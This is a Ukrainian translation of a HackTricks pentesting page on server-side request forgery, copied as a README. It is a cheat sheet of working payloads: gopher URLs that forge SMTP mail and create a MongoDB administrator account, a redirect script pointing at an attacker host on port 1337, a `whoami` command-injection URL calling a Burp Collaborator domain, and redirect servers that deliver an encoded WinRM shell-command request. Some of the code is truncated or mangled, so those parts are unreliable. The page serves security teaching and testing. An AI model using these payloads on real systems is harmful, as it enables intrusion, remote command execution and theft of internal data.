hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md
2024-04-06 19:41:21 +00:00

22 KiB
Raw Blame History

SSRF (Server Side Request Forgery)


Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Базова інформація

Уразливість Server-side Request Forgery (SSRF) виникає, коли зловмисник маніпулює серверною програмою, щоб зробити HTTP-запити на домен за їхнім вибором. Ця уразливість викриває сервер зовнішнім запитам, спрямованим зловмисником.

Захоплення SSRF

Перше, що вам потрібно зробити, це захопити взаємодію SSRF, створену вами. Для захоплення HTTP- або DNS-взаємодії ви можете використовувати такі інструменти, як:

Обхід доменів у білому списку

Зазвичай ви виявите, що SSRF працює лише в певних доменах або URL-адресах. На наступній сторінці ви знайдете компіляцію технік для спроб обійти цей білий список:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Обхід через відкритий перенаправлення

Якщо сервер належним чином захищений, ви можете обійти всі обмеження, використовуючи вразливість відкритого перенаправлення на веб-сторінці. Оскільки веб-сторінка дозволить SSRF на той самий домен, і, ймовірно, буде слідувати перенаправленням, ви можете використати відкрите перенаправлення, щоб змусити сервер отримати доступ до внутрішнього ресурсу.
Докладніше читайте тут: https://portswigger.net/web-security/ssrf

Протоколи

  • file://
  • Схема URL file:// посилається безпосередньо на /etc/passwd: file:///etc/passwd
  • dict://
  • Схема URL DICT описується як використовувана для доступу до визначень або словників за допомогою протоколу DICT. Наведено приклад побудованого URL, який спрямований на конкретне слово, базу даних та номер запису, а також приклад використання PHP-скрипта для підключення до сервера DICT за допомогою наданих зловмисником облікових даних: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Визначено як протокол безпечного передавання файлів через безпечний shell, наведено приклад того, як PHP-скрипт можна використовувати для підключення до шкідливого сервера SFTP: url=sftp://generic.com:11111/
  • TFTP://
  • Згадується Протокол простого передавання файлів, що працює через UDP, з прикладом PHP-скрипта, призначеного для відправлення запиту на сервер TFTP. Запит TFTP робиться на 'generic.com' на порт '12346' для файлу 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Цей сегмент охоплює протокол легкого доступу до каталогів, підкреслюючи його використання для управління та доступу до розподілених служб каталогів через IP-мережі. Взаємодійте з сервером LDAP на localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Описано метод використання уразливостей SSRF для взаємодії з SMTP-сервісами на localhost, включаючи кроки для виявлення внутрішніх доменних імен та подальші розслідувальні дії на основі цієї інформації.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL глобінг - обхід WAF
  • Якщо SSRF виконується за допомогою curl, у curl є функція, яка називається URL глобінг, яка може бути корисною для обходу WAF. Наприклад, у цьому **описі ви можете знайти приклад траверсу шляху через протокол file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Обговорюється можливість протоколу Gopher вказати IP, порт та байти для зв'язку з сервером, разом із інструментами, такими як Gopherus та remote-method-guesser для створення поліпшень. Показано два відмінні використання:

Gopher://

За допомогою цього протоколу ви можете вказати IP, порт та байти, які ви хочете, щоб сервер надіслав. Після цього ви фактично можете використовувати SSRF для зв'язку з будь-яким TCP сервером (але вам потрібно знати, як спілкуватися з послугою спочатку).
На щастя, ви можете використовувати Gopherus, щоб створювати поліпшення для кількох послуг. Крім того, remote-method-guesser може бути використаний для створення gopher поліпшень для служб Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Зворотнє підключення до 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Створити користувача з ім'ям користувача=admin з паролем=admin123 та дозволом=адміністратор

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF через заголовок Referrer та інші

Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, практика, яка ненавмисно викриває додатки до уразливостей на стороні сервера у вигляді підроблення запитів на сервер (SSRF). Це тому, що таке програмне забезпечення може відвідувати зовнішні URL-адреси, зазначені в заголовку Referrer, для аналізу вмісту сайту-джерела. Для виявлення цих уразливостей рекомендується використовувати плагін Burp Suite "Collaborator Everywhere", використовуючи спосіб обробки аналітичними інструментами заголовка Referer для ідентифікації потенційних поверхонь атаки SSRF.

SSRF через дані SNI з сертифікату

Неправильна конфігурація, яка може дозволити підключення до будь-якого бекенду за допомогою простого налаштування, проілюстрована на прикладі конфігурації Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенду. Це налаштування викриває вразливість на Server-Side Request Forgery (SSRF), яку можна використовувати, просто вказавши бажану IP-адресу або доменне ім'я у полі SNI. Нижче наведено приклад використання для примусового підключення до довільного бекенду, такого як internal.host.com, за допомогою команди openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Завантаження файлу Wget

SSRF з Внедренням Команд

Можливо варто спробувати використати пейлоад на кшталт: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Відображення PDF

Якщо веб-сторінка автоматично створює PDF з наданою вами інформацією, ви можете вставити деякий JS, який буде виконаний самим створювачем PDF (сервером) під час створення PDF, і ви зможете зловживати SSRF. Дізнайтеся більше тут.

Від SSRF до DoS

Створіть кілька сеансів та спробуйте завантажити важкі файли, використовуючи SSRF з сеансів.

Функції SSRF PHP

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Перенаправлення на Gopher

Для деяких експлуатацій може знадобитися відправити відповідь перенаправлення (потенційно використовуючи інший протокол, наприклад gopher). Тут ви знайдете різні коди Python для відповіді з перенаправленням:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%
```plaintext
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Неправильно налаштовані проксі для SSRF

Хитрощі з цього посту.

Flask

Вразливий код проксі Flask

```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask дозволяє використовувати **`@`** як початковий символ, що дозволяє зробити **початкове ім'я хоста ім'ям користувача** та впровадити нове. Атака запиту:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Вразливий код:

Було виявлено, що можливо розпочати шлях запиту з символу ;, що дозволяє використовувати потім @ та впроваджувати новий хост для доступу. Атака запиту:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Вбудований веб-сервер PHP